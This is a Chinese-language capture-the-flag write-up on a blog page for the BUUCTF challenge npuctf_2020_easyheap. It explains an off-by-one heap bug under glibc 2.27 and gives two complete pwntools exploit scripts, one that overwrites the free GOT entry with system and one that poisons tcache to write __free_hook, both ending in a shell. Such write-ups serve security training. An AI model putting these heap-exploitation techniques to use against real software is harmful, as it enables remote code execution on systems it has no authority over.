news 2026/4/23 16:16:01

buuctf--npuctf_2020_easyheap

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf--npuctf_2020_easyheap

这道题可以说是第一道glibc 2.27的堆题,与2.23不同,因为glibc2.27引入了tcache,当我们释放一个chunk他会进入tcache里面,分配和释放的方式都不一样,接着来看一下这个题

首先查看一下文件相关保护

这里发现之开启了canary和NX,没用开RELRO,所以这里got表是可写的,接着将这个文件丢到ida64里面进行查看

很经典的一个菜单题,接着从create入手来分析这个结构

首先第10行一个遍历查看当前哪一个位置是空的,从而当作一个可以被申请的位置,14行进行申请0x10的chunk,这里这个chunk的地址就是写入在这个(heaparray+i)的位置,然后26行表示这里0x10的这个chunk的后8字节用来存储我们申请chunk的地址,前面8字节用来存储对应chunk的大小。然后34行就是对我们申请的chunk进行写数据。这个函数就是申请两个chunk,一个0x10,一个我们自己输入的并且只能是0x18和0x38.然后这个0x10这个chunk就是用来描述我们申请的chunk的。接着看到edit函数

这里edit函数存在一个off by one的漏洞,我们可以通过多写入一个字节从而修改与这个chunk相邻的下一个chunk的size字段,从而释放进入我们想要的tcache bin里面。

这里show函数18行是根据这个0x10的chunk的第二个8字节来输出内容,这里可以将这个改为got函数地址,从而泄露libc的基址

free函数就是将我们申请的下标置0,然后释放0x10的chunk,释放我们申请的chunk,但是这里是我们申请的chunk先释放,然后后释放0x10这个chunk。但是这里将0x10这个chunk置0了,所以不存在uaf漏洞。

这里的攻击思路就是先申请,然后利用off by one漏洞来修改下一个chunk的大小,然后释放下一个chunk再申请,接着写入got函数地址。

首先先来为每一个功能写一个辅助函数,如下:

def menu(choice): r.recvuntil(b'Your choice :') r.sendline(str(choice).encode()) def add(size,content): menu(1) r.recvuntil(b'Size of Heap(0x10 or 0x20 only) : ') r.sendline(str(size).encode()) r.recvuntil(b'Content:') r.send(content) def edit(index, content): menu(2) r.recvuntil(b'Index :') r.sendline(str(index).encode()) # r.recvuntil(b'text length: ') # r.sendline(str(size).encode()) r.recvuntil(b'Content: ') r.send(content) def show(index): #输出堆块大小和数据 menu(3) r.recvuntil(b'Index :') r.sendline(str(index).encode()) # r.recvuntil(b'Content: \n') def free(index): #先释放我们申请的,后释放0x10,并且我们申请的不会置为0 menu(4) r.recvuntil(b'Index :') r.sendline(str(index).encode())

写好了之后应该就可以写出下面这样的代码:

add(0x18,b'gaoshou') #下标为0 add(0x18,b'gaoshou') #下标为1 payload=b'a'*0x18+b'\x41' #通过off by one漏洞将下一个特征chunk的大小改为0x21,从0x21变成0x41 edit(0,payload) free(1) #释放是先释放我们申请的,然后释放那个特征chunk,这里释放之后tcache里面是一个0x20有一个,0x40有一个,0x20是我们申请的那个chunk,0x40是create函数帮我们申请的0x10对应的chunk add(0x38,b'gaoshou') #这里先申请0x10,然后申请0x38,这样0x38这个chunk的后面0x20就刚好覆盖了这个0x10这个chunk,从而可以将got函数写入我们的特征chunk payload1=b'a'*0x18+p64(0x21)+p64(0x40)+p64(elf.got['free']) edit(1,payload1) show(1) #这里show就会将free函数的got地址里面的值输出,从而可以利用这个泄露libc的基址

这里泄露出libc基址之后,将free函数改为system函数,接着free("/bin/sh")触发getshell,这里就是因为RELRO保护没有开,所以就可以通过复写函数,从而getshell,最后得到poc:

r = remote("node5.buuoj.cn", 29075) libc=ELF(r"C:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.27.so") elf=ELF(r"C:\Users\lezho\Desktop\misc\npuctf_2020_easyheap") add(0x18,b'gaoshou') add(0x18,b'gaoshou') add(0x18,b'/bin/sh\x00') payload=b'a'*0x18+b'\x41' edit(0,payload) free(1) add(0x38,b'gaoshou') #下标为1,申请的0x38完全覆盖下面的0x21chunk,头节点在下 payload1=b'a'*0x18+p64(0x21)+p64(0x40)+p64(elf.got['free']) edit(1,payload1) show(1) r.recvuntil(b'\nContent : ') leak=u64(r.recv(6).ljust(8,b'\x00')) print(hex(leak)) libc.address=leak-libc.symbols['free'] print(hex(libc.address)) edit(1,p64(libc.symbols['system'])) #将free函数改为system函数 free(2) r.interactive()

这里攻击可以实现就是因为RELRO保护没有开,这里如果开了这个保护,就不能这么干了,那么这里就可以换一种攻击,也就是glibc2.27最经典的tcache dup。通过将一个tcache里面bin的fd改为free_hook,然后将system这个函数地址写入free_hook,最后system(/bin/sh) get shell

r = remote("node5.buuoj.cn", 29075) libc=ELF(r"C:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.27.so") elf=ELF(r"C:\Users\lezho\Desktop\misc\npuctf_2020_easyheap") add(0x18,b'gaoshou') add(0x18,b'gaoshou') add(0x18,b'/bin/sh\x00') payload=b'a'*0x18+b'\x41' edit(0,payload) free(1) add(0x38,b'gaoshou') #下标为1,申请的0x38完全覆盖下面的0x21chunk,头节点在下 payload1=b'a'*0x18+p64(0x21)+p64(0x40)+p64(elf.got['free'])+p64(0)+b'\x41' edit(1,payload1) show(1) r.recvuntil(b'\nContent : ') leak=u64(r.recv(6).ljust(8,b'\x00')) print(hex(leak)) libc.address=leak-libc.symbols['free'] print(hex(libc.address)) free_hook=libc.symbols['__free_hook'] system_addr=libc.symbols['system'] free(2) #将2进行释放 释放之后bin里面有一个0x41的chunk和一个0x21的chunk free(0) #将0释放,bin里面会多2个0x20的chunk add(0x38,b'gaoshou') #下标为0 add(0x38,b'/bin/sh\x00') #申请之后bin里面只有一个0x21的chunk,刚好是上面的0x41chunk的下半截 payload2=b'a'*0x18+p64(0x21)+p64(free_hook) edit(0,payload2) add(0x18,p64(system_addr)) #在free_hook里面写下system函数 free(2) #free触发攻击 r.interactive()

这个攻击就是先泄露libc的基址,然后再次利用off by one的漏洞,实现空间重叠,然后payload2修改释放进入tcache里面的chunk的fd,然后两次申请,最后将system_addr写入free_hook。最后触发

这个后面这个poc应该是通用的,可以绕过RELRO这个保护

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/19 4:48:41

『NAS』一键部署魔塔!重拾童年经典策略闯关游戏-MagicTower

点赞 关注 收藏 学会了 整理了一个NAS小专栏,有兴趣的工友可以关注一下 👉 《NAS邪修》 Magic Tower(魔塔)是承载无数人童年回忆的经典策略 RPG 小游戏,NAS 小白也能通过 Docker 快速部署,无需复杂配置。…

作者头像 李华
网站建设 2026/4/23 12:25:08

企业知识管理系统怎么选?17款工具对比:从协作编辑到安全合规

本文将深入对比17款企业知识管理软件:PingCode 知识管理、Confluence、Notion、Microsoft SharePoint、GitBook、Guru、Slab、Document360、360 亿方云、石墨文档等一、知识管理做不好,团队会被“重复劳动”拖慢企业一开始做知识管理,通常只是…

作者头像 李华
网站建设 2026/4/22 20:13:33

南京夏宏智能科技有限公司人工智能工程师职位深度解析:技术精要、面试宝典与职业发展蓝图

南京夏宏智能科技有限公司 人工智能工程师 职位信息 【工作内容】 - 参与人工智能相关算法的研发与优化,包括机器学习、深度学习等方向; - 负责模型的设计、训练及部署,提升系统智能化水平; - 与产品、研发团队协作,推动AI技术在实际业务场景中的应用; - 持续关注行业动态…

作者头像 李华
网站建设 2026/4/23 12:25:52

PAC 分流配置文件使用指南

文章目录什么是 PAC 文件?举个例子需要准备的文件1. 主程序:agent-pac.py2. 代理规则文件:proxy.pac如何启动服务第一步:准备文件第二步:修改配置第三步:启动服务第四步:检查是否启动成功常用操…

作者头像 李华
网站建设 2026/4/23 12:25:59

什么是网络数字地图

文章目录 为什么需要网络数字地图网络数字地图能解决什么问题网络数字地图在数据中心的应用网络数字地图在园区网络的应用网络数字地图在广域网络的应用网络数字地图架构介绍网络数字地图的关键技术 网络数字地图是物理网络世界的数字孪生,是全新一代网络运维技术。…

作者头像 李华
网站建设 2026/4/23 12:25:53

从草稿到佳作:DeepSeek辅助学术论文写作的全流程技术指南

在人工智能与学术研究深度交融的时代,如何善用工具而不失独立思考?本文将以DeepSeek为例,分享AI辅助论文写作的实用技术与方法论。前言:AI写作辅助的范式转变2024年,一项针对全球研究生的调查显示,超过67%的…

作者头像 李华